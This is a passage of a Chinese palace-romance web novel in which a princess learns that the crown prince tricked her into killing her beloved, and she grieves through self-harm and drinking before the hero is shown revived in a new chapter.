而眼下这件事,确然已经发生了。 她从未见颜嘉柔有过那样痛不欲生的时刻,近乎歇斯底里地问她: “怎么会?!怎么会……我刺的明明不是他的命门,他怎么会死?他怎么会死!” 她只能一遍遍地安抚着她的情绪,然而毫无作用,她仿佛陷入了绝境,整个人精神恍惚,竟开始动手自残。 这可把映雪给吓坏了,哭着抱住她道:“主子……我的好主子……您可别吓我,再怎么样,也不能作践自己的身子啊……您问我为什么,我却也答不上来,我今日见太子殿下神情自若,毫不意外,像是早就知道首尾,或许只有他才能帮你解惑……” 颜嘉柔这才如梦初醒一般,喃喃地道:“是了,他知道,他一定知道……是他教我刺中萧彻那里,他一定知道为什么,他一定知道,我要去问他……我一定要去找他问个清楚!” 说着夺门而出,一路奔至东宫。 苏全却在殿门口拦住了她,他见她发髻散乱,神情恍惚,白皙的脖颈上爬着几道新鲜的红痕,像是簪子所划,瞧着实在不对劲,便说要进去通禀萧珏,颜嘉柔却哪里肯跟他废话,当即拔了簪子抵在颈侧,仰起脖颈道:“立刻让我进去见萧珏,否则,我现在就死在你面前,我看萧珏会不会迁怒于你!” 眼见那尖锐的一端已经刺破皮肤,立刻有血珠顺着簪子缓缓渗出,滚落在雪白的锁骨上,一时只觉触目惊心。 苏全骇了一跳,平日里见这位小公主,素来是娇滴滴的,温顺乖巧,几时有过这般疯态? 他唯恐出了什么好歹,回头萧珏怪罪雨他,便连忙让了路:“公主您请吧……” —— 颜嘉柔一路不管不顾地冲进东宫,从重明门直奔内廷,一边喊着:“萧珏,你出来!你给我出来!我有话要问你,你立刻出来见我!” 喊到最后,终究是染上了哭腔:“你把萧彻弄到哪儿去了,你把他还给我……” 可惜宫殿四周阒无人声,并无一人回应她。 她倚在墙上,身子一点点地滑落,巨大的绝望笼罩了她。 低头埋进膝间,她终于不可抑制地痛哭出声。 忽然只听砰的一声,像是瓷器碎裂的声音,之后隐隐可闻女子尖锐的叫喊声。 颜嘉柔猛地抬头,起身循着声音传来的方向一步步走去。 崇文殿东北侧,专门辟出了一间书房,那声音正是从里面传出来的。 书房的门并未掩实,颜嘉柔站在殿门后,目光向里探去,竟发现姬乐也在这儿! 她此刻正站在萧珏的面前,声嘶力竭地质问他:“太子殿下便是这般言而无信的么!当初我与你合作,你找来擅长口技之人,让他假扮萧彻,故意与我在避仙亭里做那一出戏,让颜嘉柔误会萧彻与我有染,对她只是利用,从而让她下定决心与萧彻斩断羁绊……” “你当初是怎么说的?你说只需要颜嘉柔拿走萧彻的一缕头发便可,可如今呢,她却取走了他的命!” 萧珏只漫不经心地轻抚着手掌,唇畔牵起一点笑意:“姬乐姑娘见谅,孤不过是不小心记错了那怪病的治愈之法而已。” “记错?殿下这样轻飘飘的一句话,却要了萧彻的性命,也近乎要了我的命!” “堂堂一国储君,便是这样言而无信的吗?” “哦?可惜你的心肝殿下已经死了,人死如灯灭,姬乐姑娘再不忿,又能如何呢?” 姬乐目光一凛,眸中杀机毕现:“至少,我还可以帮他报仇!”说着忽然从怀中取出一把匕首,寒芒湛湛,举刀便向萧珏刺去。 可刀剑堪堪要刺入他的胸口时,姬乐忽感手腕酸麻,竟是一点力气也使不上来。 那股酸麻渐渐蔓延至全身,她很快瘫软在地,这时才终于反应过来,扭头望向案台上摆放着的博山炉,顶上的孔洞正袅袅升腾着白烟:“香……这香有问题……” 萧珏阴恻恻地笑了:“不错,”一边慢慢朝她走近,居高临下地看着她:“姬乐姑娘的身手,孤可是见识过的,你说孤会不会这么蠢,什么准备都不做,就放你进来呢?” 这般说着,又慢慢蹲下了身,捡起地上掉落的那柄匕首,放在手中细细把玩:“姬乐姑娘待三弟的一片心,可真是日月可鉴啊。” “可惜自此阴阳两隔,未免教人叹惋……嘶,不如这样好不好,姑娘毕竟曾经帮了孤,不若孤再最后成全姑娘一回,可好?” 语毕面色陡变,竟将那柄匕首直直插进了她的腹部,利刃入肉,姬乐猛地瞪大了双眼,口中霎时吐出鲜血:“你……你……” 萧珏处在背窗的阴影处,面上一片晦暗,只能看到唇角勾起的锐利弧度,竟有几分悚然之感:“如何?你这么喜欢萧彻,不如下去陪他啊。他活着轮不到你,如今好不容易死了,难道你竟肯舍下他?孤这是在帮你啊。哈哈哈哈……” “你且安心地去吧,也权当帮孤最后一个忙——萧彻是如何死的,这世上自然越少的人知道越好,崔令颐背靠崔氏,孤暂且放她一命,至于你,原本也非魏族人,你主子既是妖妃母子,那他们下了黄泉,你也跟着去陪他们吧!” 说着竟将匕首生生地拔了出来,鲜血霎时喷涌而出,溅在他的脸上,衬得他如同地狱来的修罗。 门口的颜嘉柔见到这一幕,吓得几欲魂飞魄散,“啊”得一声尖叫出声。 门内的萧珏听到动静猛地抬头,眼中一片阴戾之色,却在看清来人的面容时,眉目渐渐和缓下来:“嘉柔……” 颜嘉柔惊魂未定,这时也顾不得什么了,跌跌撞撞地走了进来,看着地上死死睁着眼睛的姬乐,颤巍巍地伸手去探她的鼻息,却在触及到她鼻端时猛地收回了手,面色惨白地道::“你……你杀了她……” 萧珏不以为意道:“一个贱婢而已,不必放在心上。” 却在见到颜嘉柔惨白的面色时,微微蹙了眉,心疼地走过去搀扶她:“吓坏你了吧?我们嘉柔胆子一向小……怎么不让人先进来通传一声呢?” 颜嘉柔抬头看向他,姬乐的死,她虽然不忍,但的确不必放在心上,毕竟她也骗了他,间接害死了萧彻! 一想到这个,五脏六腑都疼得蜷缩成一团,她眼圈泛红,死死地盯着他:“我听到了,你和姬乐方才的那一番话,我全都听到了!” “那日我在竹林见到的人根本不是萧彻,是你和姬乐,你们骗了我……是你们让我误会了萧彻!” 说着神色又变得恍惚起来,只一遍遍地问:“萧彻呢?你把他藏哪儿去了……你把他还给我,还给我!” 心爱的人叫着别的男人的名字,这滋味自然不好受,萧珏只觉体内戾气陡增,他深深地一闭眼,捏握着她的肩头道:“他已经死了!” “不会的,不会的!”颜嘉柔情绪骤然失控,用力挣脱他的束缚:“你骗我!你们都在骗我!萧彻不会死的,他是兰陵人,他不会那么容易死的!” “哦?是吗?”他幽幽地道:“那你不妨看看你身上淫狐留下的印记,可还在吗?” 颜嘉柔脸色霎时惨白。 萧珏观察她的神情,唇角缓缓勾起:“不见了,是吗?你可知,究竟如何才能斩断你二人之间的羁绊?为什么这怪病明明能治愈,当初哑医却不肯告诉你?” 颜嘉柔哆嗦着唇瓣,颤声道:“为什么……” “因为那个方法,是要一命换一命,这病原本无药可救,除非萧彻死去,你二人之间的羁绊才能彻底斩断。这样要命的法子,哑医又岂会轻易告诉你呢?嘉柔,是孤,是孤用他唯一的女儿的性命要挟他,才帮你要到了这个法子,你应该感谢孤才是啊。” 颜嘉柔踉跄地往后退了半步,整个人失魂落魄,只是不住地摇头:“不……不会的……不是这样的……他怎么会死,我刺中的明明不是他的命门……” “谁说你刺中的,不是他的命门了?”萧珏幽幽地道:“嘉柔,你还不知道吧,早在你从淮州回宫的第一日,你身上装有萧彻命门秘密的镜囊,就已经被孤掉包了。” 颜嘉柔猛地抬头:“你说什么?!” 萧珏慢慢笑了起来:“不记得了吗?就是那次,你从淮州回来,听闻孤重伤坠马,第一时间来东宫看望孤,甚至连随身佩戴的香囊,都不及取下,嘉柔,你这样关心孤,孤真的很感动啊。” “可惜你来见孤,却偏偏要说那样一番诛心的话,你说你移情别恋,喜欢上了萧彻,甚至已经和他……和他行了苟且之事!嘉柔,你知道我听到那些话时,心里有 多痛吗?是你!是你说你只喜欢我,长大后一定会嫁给我!我尊你爱你,才一直对你以礼相待,从不敢逾越半分,结果你却和萧彻……” 他说着深吸了一口气,平复了体内愈发炽烈的戾气,转而勾起唇角,笑得有几分扭曲:“不过无妨,终归他已经死了,现在,你是我的了,是我一个人的了。” “至于他是如何死的——那日你来东宫,跟我坦白了与萧彻的苟且之事,我窥见你腰间别着的香囊,你说那是萧彻所赠,说完却像是后悔开口了一般,吞吞吐吐,再不肯继续往下说——嘉柔,我太了解你了,你心思单纯,一向藏不住事,联想到萧彻刚与你做过那事,他心潮澎湃之下,少不得送你什么东西,我便猜到,那香囊里多半藏有他的秘密。” “于是我便对苏全使眼色,让他故意把茶水泼到你的身上,借着你换衣的档口,将你的香囊拿了过来,打开一开,啧,果然没让我失望啊,难为我那三弟对旁人薄情,那样多的女人,他从不肯看她们一眼,却独独暗恋了你那么多年,一朝如愿,恨不得将命都拿来给你——那锦囊里装的,正是他的命门所在。” “用凹地阳文、篆刻破边的技法,可以复刻字迹,我不过是把‘右胸口第三根肋骨往下一寸’改成了‘左胸口第三根肋骨往下一寸’,然后将改好的字条放回你的锦囊之中,这一切神不知鬼不觉,你或许从来未曾察觉,毕竟要想骗过你,实在是一件很容易的事。” “字条被调包,所以你方才刺中的,不偏不倚,正是他的命门所在。” 颜嘉柔只觉脑袋轰的一声,发疯一般地向他扑过去:“你……是你骗我,一切都是你设的局,是你害死了萧彻……” “你……你……”她转身捡起地上的匕首,作势就要刺向他:“我要杀了你!” 却被他轻易地扼住了手腕:“我杀的他?” “嘉柔,我充其量不过是借刀杀人而已,你才是那个将匕首刺入他的命门,给他致命一击的人。” 他看着她,一字一句,近乎残忍地道:“是你,亲手杀了萧彻。” 颜嘉柔痛苦地捂着头,不停地摇头道:“不……不是我……我没有!我没有想杀了他!是你,是你骗了我!” 她太痛苦了,她根本没有办法接受萧彻的死,她陷入了深深的绝望和后悔中,在自责的泥沼里无法自拔,于是她只能将萧彻的死推脱给萧珏,仿佛只有这样,她才能好受一些。 可是这又能怎么样呢?萧彻再也回不来了,她把萧彻给弄丢了…… 她颓然地瘫软在地,或是不肯接受,或是到底还存有一丝幻想,只喃喃地道:“萧彻呢……萧彻在哪里……没有亲眼见到,我是不会信的……他没有死……他不会死的……” 萧珏看着她这副为萧彻要死要活的样子,便觉心中起了一股邪火,冷笑道:“他死了,气息全无,死得透透的,不是说了吗,那淫狐在你身上留下的印记,非萧彻身死不能褪去,如今印记消退彻底,萧彻究竟死没死,你心中还不能够明了吗?” 颜嘉柔身子一抖,只颤声道:“活要见人,死要见尸,萧彻呢,我要见他,你让我见他!” “他的尸首已经被崔令颐带出宫了,她对萧彻求而不得,执念甚深,如今他人死了,她连他的尸首都不放过,说什么也要带走。我有把柄在她的身上,不得不依了她——非是我故意不让你见萧彻的尸首,实是没有。他既已经死了,让你亲眼得见,彻底死心,也没什么不好。” “不过话说回来,嘉柔,你就算拿到了他的尸首又怎么样?”他幽幽地道:“你以为,萧彻地下有知,会愿意让你见到他的尸首吗?他恨透了你,只怕做人做鬼,都不愿再见到你。” “你呢?又有面目再见他吗?” 颜嘉柔浑身一颤,肩膀瑟缩了一下。 萧珏满意地弯唇,蹲下身,在她耳旁轻声劝慰道:“好了,死了便死了,他不死你身上的怪病又如何能解?” “你同他睡了那么久,难免生出了点情分,暂时伤心也是在所难免,嘉柔,孤会体谅你,但是,可别让孤体谅你太久。”说着情难自抑地凑至她的颈侧,贪婪地汲取她身上的气息,喑哑道:“嘉柔,孤很快也能让你快活的,再等等,届时你就能彻底忘了萧彻。” 颜嘉柔却突得一声笑了,缓缓转过脸去看他,面上一派荒芜:“你杀了我吧。” “我杀不了你,你杀了我吧,就像杀了姬乐一样,杀人灭口,永绝后患。” 萧珏皱眉,伸手抚上她的面颊,柔声道:“说什么傻话,我从小看着你长大,我怎么舍得杀你?” “是么……”颜嘉柔苦笑了声,忽然趁他不备,举起匕首朝自己的心口刺去:“那我就杀了我自己!” 她想她终归是欠了萧彻的,便拿了这条命去还他。左右如今这样苟活着,也是生不如死。 萧珏有一点说对了,即便知道萧彻如今在崔令颐那里,她也没有脸去将他要回来。 她那么对他,他一定恨死她了。 只怕宁可挫骨扬灰,也不愿回到她身边。 留在崔令颐那里,也好。 他们原本就很般配,如果萧彻喜欢的是她,根本不必经历这些,或许早就拿到他想要的了。 她什么都帮不了他,如今还亲手杀了他。 从前无论她犯什么错,萧彻都会选择原谅,可是她知道,这回不一样了。 萧彻再也不会原谅她,连她自己也不能够原谅自己。 或许唯有一死,才算是真正的解脱。 可惜就连自裁的机会,萧珏也不肯给她。 他狠狠握住她的手腕,将匕首从她手中取出,猛地扔出去老远。 “颜嘉柔!”他死死地握住她的肩,心中大骇,一时又是后怕又是恼恨,目眦欲裂地道:“我是不是太惯着你了?!” “所以才让你这样无法无天?!你想给萧彻殉情?我告诉你,你想都别想!” “往后你要是再敢做这种事,我就让整个承欢殿的人给你陪葬!第一个杀的,就是映雪!” 颜嘉柔瑟缩了一下。 萧珏冷哼一声,起身丢下一句:“你好自为之!”便拂袖离去。 颜嘉柔慢慢地蜷缩起身体,双手环膝,终于绝望地痛哭出声。 —— 魏熙帝自那日起昏迷不醒,萧彻又死在宫乱中,萧珏自然而然地,代行皇权,进行监国。 颜嘉柔几乎被他幽禁在承欢殿中,身边的人除了映雪,也全都被换成了他的人。 她整日浑浑噩噩,竟然也迷上了酗酒,她长这么大,第一次知道,原来酒是这么个好东西。 喝得醉了,便 能暂时忘却烦忧与痛苦,那些清醒时难捱的每时每刻,一旦用酒麻痹,便能转瞬即过。 只可惜她还太小,不出意外的话,余生还有漫长的几十年,她第一次觉得,生而为人,寿数比之浮游,实在太过漫长,竟也像是一种惩罚。 好在到底还能用酒,酒能作弊,浑浑噩噩间,一天就过去了,这漫长的岁月,也唯有如此打发了。 唯一的不好,便是但凡醉酒,便总有醒来的时候。 哪怕立时再续,总也能暂得片刻清明。 便是这须臾片刻,于她却是万般煎熬。 真可笑,从前怪病未曾治愈时,她恨极了这怪病的时时发作,哪怕萧彻从不以这怪病要挟、折辱她,她依旧万般不情愿,只因她觉得怪病缠身,始终受制于人,尤其是发作起来,宛如一条发情的牲畜,毫无尊严可言,害她每时每刻都想着他,如何不算一种折磨? 所以心心念念想要治好这怪病。 可如今治好了,对他的思念非但毫无缓解,却反而变本加厉。 从前只要她想他,便能立刻去找他,他会温柔地亲她、爱抚她,对她予取予求。 可如今她想他了,又该去哪里找他呢? 上穷碧落下黄泉,她再也找不到他了。 她终于,还是把他彻底弄丢了…… 可笑她都为他变成了这样,当初竟还怀疑她究竟是否真心喜欢他。 怪病已解,那只爱慕萧彻的狐狸再也干扰不了她—— 事到如今,她终于不得不认清自己的心意,她喜欢萧彻,远比她以为的,还要喜欢,根本不是受狐狸的蛊惑。 她终于能够清楚地明了自己的心意,可惜代价实在太过惨烈。 她亲手,杀死了她最爱的人。 于是接下来清醒的每时每刻,于她而言,都宛如一场漫长的凌迟。 死亡反而成了一种解脱。 可惜就连一个解脱,萧珏都不肯给她。 她不能死,她若死了,映雪也活不了。 于是只能被迫苟延残喘。 她恨透了萧珏,从前有多喜欢他,多感激他儿时的救命之恩,现在便有多恨他。 她恨他恨到希望他立刻去死! 于是连带着他送来的人,她都万般厌恶。 她从前虽然骄纵,但从不苛待下人。 但如今却忍不住迁怒到他们身上,却到底也没做什么,只是当着他们的面,将萧珏从前送给她的东西,都一件一件地扔出去,一边扔一边道:“都见到了,回去告诉你们太子,他这般拘着我,我无事可做,便只能如此消遣了!” 底下的人呼啦啦跪了一地,她只觉愈发气闷,只想着再扔点什么,忽然想起还有一物——幼时她跌落池中,被萧珏搭救,从他怀里扯下一块玉佩,因着想留作纪念,便一直暗自珍藏,并没有还他。 如今却是没这个必要了。 便将那枚玉佩翻找出来,胡乱地朝窗外一扔,却没有扔出去,反而落在了一位嬷嬷脚边。 那嬷嬷低头一看,下意识地道:“诶,这玉佩上篆刻的,不是兰陵族的文字么?这倒是稀奇。” 那声音并不大,可颜嘉柔却偏是听到了,如平地惊雷。 她陡地转过身,快步走到嬷嬷面前,声音颤抖地问:“你说什么?!” 嬷嬷被吓了一跳,这才反应过来她不知不觉将心中所想给说了出来,兰陵族是亡国一族,是祸国妖孽,在这宫中最是忌讳,她也知她是犯了宫规了,以为颜嘉柔是因此要发难于她,连忙跪下道:“公主恕罪,老奴一时魔怔,犯了忌讳,往后再也不敢了。” 颜嘉柔听到“忌讳”二字时,心脏不可抑制地剧烈跳动,她想她的神情一定很可怕,所以才会吓到嬷嬷:“把你方才说的话再重复一遍,我赦你无罪——说啊!” 嬷嬷抖着身子道:“……是,是,老奴说,这玉佩上篆刻的,是兰陵族的文字。那是前朝还未曾覆灭的时候,老奴那时正是公主这般大,被征选进宫,当过几年的差,因此略使得几个兰陵文字。” 颜嘉柔猛地睁大了眼睛,耳边嗡嗡作响,勉强开口,嗓音却也一阵阵发颤:“既认得几个字,那你告诉我,上面篆刻的是什么?” 嬷嬷应了声“是”,仔细辨认上面的刻纹,缓缓念出了声:“萧彻吾儿,一生平安顺遂。” 说完却迟迟不见颜嘉柔反应,不由抬头去看,却见她不知何时已经泪流满面,整个人像是丢了魂一般,只喃喃地道:“原来当初救我的人是他……原来……我从头到尾喜欢的人,一直是他……” 为什么?!为什么?! 她整个人像是被抽干了力气,瘫软在地,声嘶力竭地哭道:“可是萧彻,你为什么从来不告诉我呢?” “我认错了人,也爱错了人,整整十年,整整十年啊……” 这时映雪从外间进来,走到颜嘉柔身边,见她依旧是一副失魂落魄的样子,先是轻轻叹了口气,而后蹲下身来,斟酌着开口道:“主子,我有一件事想跟你说。” “方才我路经含光殿时,远远见到了薛止,三殿下虽……但太后醒来了,怎么都不肯信三殿下已经亡故,故依旧允许薛止等人留在含光殿内,我见到薛止,便忽然想起一桩旧事。想了想,还是觉得该告知您一声。” “您或许还不知道,当初您偷偷离宫,央着二皇子带您出宫,可三殿下事先并不知情,彼时您还需要他的血来控制病情,所以……” 颜嘉柔心底陡然浮上一个念头,心脏砰砰直跳,只觉喉咙干涩得厉害:“所以什么……” “所以他事先放血装在四个囊袋中,后来因为您没用上,便一直存放在冰窖中,您回来之后不需要血了,我也就没再想起那几个囊袋,如今他既已……想来那装有他半身血的囊袋,也算是他的一桩遗物了,主子是否要取出来一观,以作慰藉,抑或是,让它……” “入土为安”四个字,终究是没说出口。 颜嘉柔只觉心脏又是一阵绞痛,接连遭受重击,她整个人已经有些恍惚了,许久之后,才道:“拿过来……” “是。” 囊袋拿过来的时候,仍是十分冰冷,鲜血已被冰冻成块,可打开的一刹那,身体的记忆还是比她先一步认出那就是萧彻的血。 记不清多少次了,他纵容地让她伏靠在颈侧,尖锐的犬牙咬破他的皮肤,继而贪婪地吮//。吸他的血液。 每每此时,余光总能瞥见他收紧下颌,似有隐忍。 她知道,他很疼。 兰陵人的痛感是常人的十倍,她知道萧彻其实是很怕疼的,只是他从来都不说。 他生平唯一一次的示弱,便是那日她将匕首刺入他的命门。 她想象不到他该有多疼,否则绝不会对她说那样的话。 他说:“颜颜,好疼,好冷……” 可她当时只是冷冷地看着他,未有一丝动容。 悔恨与自责像是一条毒蛇,幽幽地缠绕至颈后,冷不防地朝她心口猛地咬去。 钻心的痛楚自心口蔓延开来,五脏六腑都翻搅在一起,却也不及他当日所受的十万之一。 她心中上浮上一丝自虐般的快意,越是痛苦,心里反而越是好受。 她巴不得能再痛上十分,就像昔日萧彻所受到的痛楚一般。 只有这样,她才能好过一些。 …… 所有人都被她赶了出去。 她颓然地倚靠在美人榻上,一旁的几台上香烟袅袅,却不是惯常用的甜腻熏香,而是沉水香。 萧彻身上,便一贯是这种味道。 她点燃此香,紧闭门窗,宫殿的每一个角落都弥漫着沉水香的味道,这就给了她一个错觉,仿佛萧彻还在身边。 她将囊袋紧贴于胸口,感受着属于萧彻的气息。 内心终于久违地感到一丝安宁。 四个囊袋,比她想象的还要大上许多,该是能装下半身的血。 他放血的时候在想些什么呢,是不是在想,他必须要多放一些,以防颜颜不够用? 所以才会放那么多血…… 多到就像那日在雪地里,积起的一滩血洼。 一个人怎么会流那么多血……该有多疼? 那些日夜贪婪的吮//。吸、淮州之行前夕装满的四个囊袋、雪地里致命的那一刀…… 她究竟要害他流多少血,才能甘心? 原来她那么坏,她从来不知道她那么坏。 她怎么能对萧彻那么坏…… 果然,人做了坏事,是会遭报应的……于她而言,被迫活着、清醒地感知失去萧彻的日日夜夜,便是她最大的报应。 而这些萧彻留下来的遗物,一件件全是爱她的证据,则是对她迟来的凌迟。 可她自虐一般的仍不肯放过自己,她开始发疯一般地寻找萧彻送她的每一件东西。 她如今快要十六岁了,算下来,竟也已经收了萧彻十多件生辰贺礼。 她去了库房,翻找出了这些年萧彻送她的贺礼,这些贺礼都用 锦盒装着,连盒子都十分精致,可见内里之物也必不会敷衍。 可惜她从来没有打开过。 那些年她最期待的是萧珏送她的贺礼,至于萧彻的贺礼,敷衍地收下后便立刻被她抛诸脑后。 这些贺礼在这暗无天日的库房不知待了多久,锦盒上面已蒙上一层积灰。 她伸手拂去上面的积灰,颤抖地打开镜盒。 锦盒打开的一刹那,她便立刻湿了眼眶。 那是一座装了机括的琉璃灯,用了水运仪象台的机关术,转动机括,不仅能使琉璃灯缓缓旋转,映出朝霞映波涛的奇观,还能模拟潮汐涌动,使人仿佛身临其境。 她知道萧彻为什么要送她这样一件生辰贺礼,只因魏熙帝不允她出宫远行,而她又实在想看海上朝霞到底是何等瑰丽。 他便将他的所见所观都尽皆赋予这盏琉璃灯中。 然后再将这盏承载着他的心意的琉璃灯,那般珍重地交给她。 却不知道,她从头到尾都没有打开过它。 她忍着鼻间的酸意,又颤抖着手打开剩余的生辰贺礼。 每一件……每一件都能看出颇费心思。 她终于知道为什么萧彻那时总是与她作对,他一定是恼她,恼她这么多年送他的生辰回礼,每一样都敷衍至极,将他的心意给辜负了个干净。 这么多年,但凡她要是打开一样贺礼,便能明了他对她的心意,可是没有,一样也没有。 —— 等失魂落魄地从库房里走出,迈入庭院时,在映雪撑伞的间隙,冰凉的雪花还是飘落在了她的身上。 触及到温热的肌肤后立即消融,凉意沁人,却也迫使她从浑噩中短暂清醒过来。 她怔了一下,抬头望向天际,这场延绵的大雪纷纷扬扬地落了几日,竟然还未停歇,仿佛再等什么人。 风雪也会有牵挂么。 还有什么,是未曾见证的呢? 这般漫无目的地想着,却陡然记起萧彻对她说的最后一句话:“我在庭院给你堆的两个雪人,你看到没有……” 对!雪人!萧彻还给她留了两个雪人! 她连忙转头四下搜寻,终于在中庭池畔的汉白玉栏杆旁看到两个胖墩墩的雪人,憨态可掬,十分可爱。 她忍不住噗嗤一声笑了出来,笑着笑着,却又哭了。 她随口说的话,他竟一直记得。 她说她喜欢雪,他便真的给她堆砌了两个雪人。 她慢慢走了过去,在雪人面前蹲下。 所幸这几日大雪一直未停,她的雪人才得以保全,未曾融化。 她情不自禁地伸手抚上雪人,掌心传来冰凉的触感。 这是由萧彻亲手堆砌的雪人,她如今抚摸着它,是否也算再度触摸到了萧彻? 她闭上眼,静静感受着上面萧彻残留的痕迹。 再睁开眼时,却忽觉晴丝一闪,可这大雪天,又未曾见到太阳,哪里开的晴丝呢? 仔细看去,却惊觉雪人身前似乎嵌着什么。 她伸手取下,放到眼前一观,竟是一枚戒指! 却是一枚材质极为特殊的戒指……上面镶嵌的既非宝石,也非珍珠,而是一种光芒璀璨、又极为坚硬的材料…… 那是什么呢? 分明十分罕见,她却莫名眼熟,似乎在哪里见过…… 忽然她猛地睁大了双眼,过往的记忆汹涌而至。 她想起来了,她想起这个戒指叫什么了。 那是……钻戒。 几个月前在淮州的庙会上,她和萧彻停在了一个番邦的摊位上,她被那材质特殊、璀璨夺目的戒指吸引了注意。 摊主介绍说这叫钻戒,上面镶嵌的是钻石,这钻石坚硬无比,原是用来切割玉石的,但打磨后璀璨夺目,加上有着永恒不变的寓意,便被镶嵌到戒指上。 在他们族里,若是男女戴上钻戒,便像是签订了某种契约,若男子肯走过一段炭火路,通过“真金不怕火炼”的考验,验明真心,那钻戒再经过巫祝祷告后,便可令有情人白头到老。 可惜想要拿到那对神乎其神的钻戒,需要等上好几个月,颜嘉柔向来是个没耐心的人,又听说要让萧彻走什么炭火路,这与刑部牢狱里的酷刑又何异?她才不舍得让萧彻受那样的罪呢。 何况那个摊主讲得那么玄乎,谁知道是不是只是个噱头而已。莫不是见她是个小姑娘,又不是个精明模样,故意诓骗她? 当下便不要了,拉着萧彻便走。 之后更是将这件事抛到脑后。 可她没想到萧彻会一直记得。 她记得有一段时间萧彻的腿受了伤,她去探望,他却不许她见伤口,只说日后她自会明白,届时他吃过的苦,自然会从她身上讨要回来。是否在那个时候,他已经跨过了炭火路? 兰陵人伤口再如何可怖严重,一旦愈合,便不会留下疤痕。 所以她从始至终都未曾发现。 可兰陵人只是不会留疤,不是不会痛。 受了那样严重的伤,会有多痛呢,会有那日她朝他心口刺的那一刀痛吗? 为什么……为什么她从前什么都不知道?偏又要让她现在什么都知道! 这便是报应么……她从前对萧彻有多残忍,如今便要一一反噬在她身上。 她低头怔怔看着手中的戒指,忽然发现背面刻有字迹。 戒指是一对,一个雪人身上各嵌有一个。 她连忙将两枚戒指举起,迎着光仔细辨认,只见上面分别刻着她与他的名字…… 并一句“不负白首,生死不离”。 颜嘉柔喃喃地念着:“生死不离……生死不离……” 忽然之间,泪如雨下。 …… 不远处正在洒扫的宫人近日时有听到芙蓉池那边传来女子撕心裂肺的哭泣声,仿佛杜鹃啼血,哀痛至极。 …… 颜嘉柔近几日依旧是以酒度日、醉生梦死,好在萧珏近几日都在忙前朝的事,似乎也没工夫管她,偶尔来看她几次,见她这般意志消沉、不人不鬼的模样,心痛之余,总要大发一通雷霆,便限着她喝酒。 送到她手上的酒每日都有限额,且越来越少。 于是她清醒的时候,也被迫多了起来。 有时酒喝尽了,一个人怔怔地坐在窗前,想到父皇曾经以丹药排遣痛苦,也会想这时要是有丹药,那该有多好。 贵妃去后,听说父皇愈发沉迷丹药,以求与贵妃在梦中相见。 她从前并不理解,因为萧彻跟她说过,丹药不是个好东西,若过于沉迷,长此以往,只会损害身体。 她曾劝解过魏熙帝莫要沉迷,可惜他始终听不进去,那时她不懂,丹药即便能令人进入幻梦,见到那个朝思暮想之人,带来短暂的慰藉,可那毕竟只是一场幻梦而已,为何不惜损害身体,也要沉迷这虚妄之中呢? 可现在她懂了,原来这世上有许多事,非是亲身经历过,是不能体会其中三味的。 倘若现实真的那么痛苦,令人难以忍受,那么即便沉溺幻梦,也是无可指摘的。 她想萧彻果真是极恨她的。 半个月了,他竟一次都未曾入她的梦中。 …… 这几日她依旧是昏昏沉沉的,但因为酒被限着,清醒的时间总归多了起来。 她清醒的时候,便来这芙蓉池旁,与萧彻堆的雪人作伴,也只有这个时候,心中才会有片刻的安宁。 两个雪人,一个是她,一个则是萧彻。 她总是靠在那个代表萧彻的雪人身上,将它当做萧彻,哪怕它并不能够像萧彻那般拥着她,哪怕它的身体不似萧彻那般温暖,冷冰冰的没有一点温度。 但她不在乎。 她靠在他身上,就仿佛萧彻还在身边,她微笑着,絮絮地同他讲着许多话。 就像从前一样,她讲她又做了什么梦,醒来却忘了大半,只模糊残存了一些细节,分明凑不出一个完整的场景,却也要乱七八 糟地讲给他听。 抑或是又看了什么风靡的话本,里面附了一张男主人公的插画,很受贵女圈的吹捧,说是有卫玠之姿,颜嘉柔讲到这里,转头看了他一会儿,忍不住点评道:“但是我觉得,还是没有你好看!” 又或者是跟他说想吃什么糕点了…… 小女孩能同他讲什么呢,不过是些于他而言没什么意义的废话罢了。 不过他似乎从不嫌烦,每次都会耐心地在一旁听她说,时不时地亲她一下,抑或是给些言语回应,所以她才会那么喜欢和他讲这些。 如今回想起来,其实他待她一直很好,唯一的不好,便是总爱欺负她。 但其实也算不上什么“不好”。 她想她已经完全不计较了。 他想怎么样欺负她都可以, 只可惜,再也不能够了。 这场纷纷扬扬的大雪下了半月才止,那日天光放晴,雪人终于在一寸寸的日光下渐渐消融。 颜嘉柔无措极了,哭着哀求道:“不要……不要……求你……”,伸手去阻拦,可到底是徒劳无功。消融的雪水只是无声地从她的指缝中流逝。 到了日落时分,雪人已经彻底融化。 颜嘉柔枯坐在那一摊雪水旁很久,很久…… 她终归是留不住雪人,就像她已经再也留不住萧彻。 第128章 第128章重生。 静室内,窗下摆着一张紫檀木长几,案桌上放着一张琴,漆色温润,十三徽上镶嵌着螺钿,一看便知是女子所用之物。 琴旁放置着瑞兽香炉,熏香袅袅,点的正是沉水香。 一旁的墙上挂着一柄佩剑,剑身修窄,剑鞘古朴却是极为难得的乌木所制,鞘口用银丝镶嵌着云纹,剑穗由缂丝编织而成,缀着累丝金铃,当是一把十分名贵的宝剑。 女子坐在榻旁,袅袅青烟散开后,完整地露出了她的一张脸,端的是清绝出尘,雪肤月貌。 只是她此刻眉心紧蹙,远山含黛的眉目间萦绕着淡淡的哀色,手中执着沾湿的巾帕,正仔细地为榻上的男人擦拭面容:“服下玄麟丹已经半个月了,你该醒了……” 男人静静躺在榻上,面容俊美如常,不见异色,呼吸亦十分平稳,仿佛只是睡着一般。 可他这般,已经“睡”了整整半个月了。 忽然男人的眉心紧紧皱起,下一刻,眼皮底下快速地转动着。 女子面色一喜,连忙握住男人的手:“萧彻,你醒了?” “母妃……对不起……是孩儿无用……” “颜颜……不要……” 他仿佛陷入了梦魇,苦于无法挣脱,白皙的额头上不断地渗出汗珠,神情十分痛苦。 女子蹙眉,一边用湿//。润的巾怕帮他擦拭着额头,一边不断呼喊着他的名字。 “萧彻,那是梦魇,那不是真的……别怕,睁眼……睁开眼就好了……” 在这一声声的叫喊声中,萧彻终于猛地睁开了眼。 眼神初始是茫然而混沌,等落到眼前之人时,才渐渐清醒了几分。 “崔……令颐?” 实在昏迷得太久了,一开口,嗓音竟然十分干涩:“这是哪儿?我……不是死了吗?” “这是我的静室,地处偏僻,外面有一大片湘妃竹掩映,设了奇门八卦阵,没有人能找到这里来,你不用担心。”崔令颐道:“你没有死,是我救了你。” 她说着从一旁的榻案上倒了一杯茶,端起茶盏递了过去:“殿下昏迷了那么久,该是口渴了,喝杯茶润润喉。” 她每日来看他时都会沏一壶茶,之后静静地在一旁等他醒来。 半个月,十五日,说长不长,说短也不算短,于她而言,却是度日如年。 